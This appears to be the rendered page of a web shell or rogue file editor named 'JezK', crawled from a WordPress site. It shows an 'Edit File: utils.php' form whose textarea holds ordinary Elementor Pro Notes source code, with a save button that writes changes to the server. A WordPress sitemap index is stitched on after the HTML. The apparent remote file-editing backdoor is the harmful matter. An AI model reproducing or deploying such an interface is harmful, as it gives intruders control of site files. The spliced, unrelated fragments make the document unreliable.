
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: utils.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace ElementorPro\Modules\Notes;

use Elementor\Core\Utils\Collection;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

/**
 * This is specific for notes and should not be used outside the module.
 */
class Utils {

	/**
	 * Clean the url.
	 *
	 * @param $url
	 *
	 * @return string
	 */
	public static function clean_url( $url ) {
		$parsed_url = wp_parse_url( $url );

		$url = &#039;/&#039;;

		if ( isset( $parsed_url[&#039;path&#039;] ) ) {
			$url = $parsed_url[&#039;path&#039;];
		}

		if ( isset( $parsed_url[&#039;query&#039;] ) ) {
			$query = [];

			parse_str( $parsed_url[&#039;query&#039;], $query );

			$remove_if_start_with = [ &#039;utm_&#039; ];
			$remove_if_end_with = [ &#039;_nonce&#039; ];
			$remove_if_is = [ &#039;fbclid&#039;, &#039;elementor-preview&#039;, &#039;ver&#039;, &#039;preview_id&#039;, &#039;preview_nonce&#039;, &#039;preview&#039;, &#039;theme_template_id&#039;, &#039;nonce&#039; ];

			$query = ( new Collection( $query ) )
				-&gt;filter( function ( $value, $key ) use ( $remove_if_start_with, $remove_if_end_with, $remove_if_is ) {
					foreach ( $remove_if_start_with as $term ) {
						if ( 0 === strpos( $key, $term ) ) {
							return false;
						};
					}

					foreach ( $remove_if_end_with as $term ) {
						if ( 1 === preg_match( &quot;/{$term}$/&quot;, $key ) ) {
							return false;
						};
					}

					foreach ( $remove_if_is as $term ) {
						if ( $key === $term ) {
							return false;
						}
					}

					return true;
				} );

			if ( ! $query-&gt;is_empty() ) {
				$url = implode( &#039;?&#039;, [
					$url,
					build_query( $query-&gt;all() ),
				] );
			}
		}

		return esc_url_raw( rtrim( $url, &#039;/&#039; ) );
	}

	/**
	 * @param $value
	 *
	 * @return bool
	 */
	public static function validate_url_or_relative_url( $value ) {
		$is_valid_url = filter_var( $value, FILTER_VALIDATE_URL );

		if ( $is_valid_url ) {
			return (bool) $is_valid_url;
		}

		// Check if the $value is relative url.
		return (bool) filter_var( &#039;https://localhost/&#039; . ltrim( $value, &#039;/&#039; ), FILTER_VALIDATE_URL );
	}

	/**
	 * Clean the WP document title and return it.
	 *
	 * @return string
	 */
	public static function get_clean_document_title() {
		$filter = function ( $title ) {
			if ( is_home() || is_front_page() ) {
				return [ esc_html__( &#039;Home page&#039;, &#039;elementor-pro&#039; ) ];
			}

			unset( $title[&#039;site&#039;] );

			return $title;
		};

		add_filter( &#039;document_title_parts&#039;, $filter );

		$title = wp_get_document_title();

		remove_filter( &#039;document_title_parts&#039;, $filter );

		return $title;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
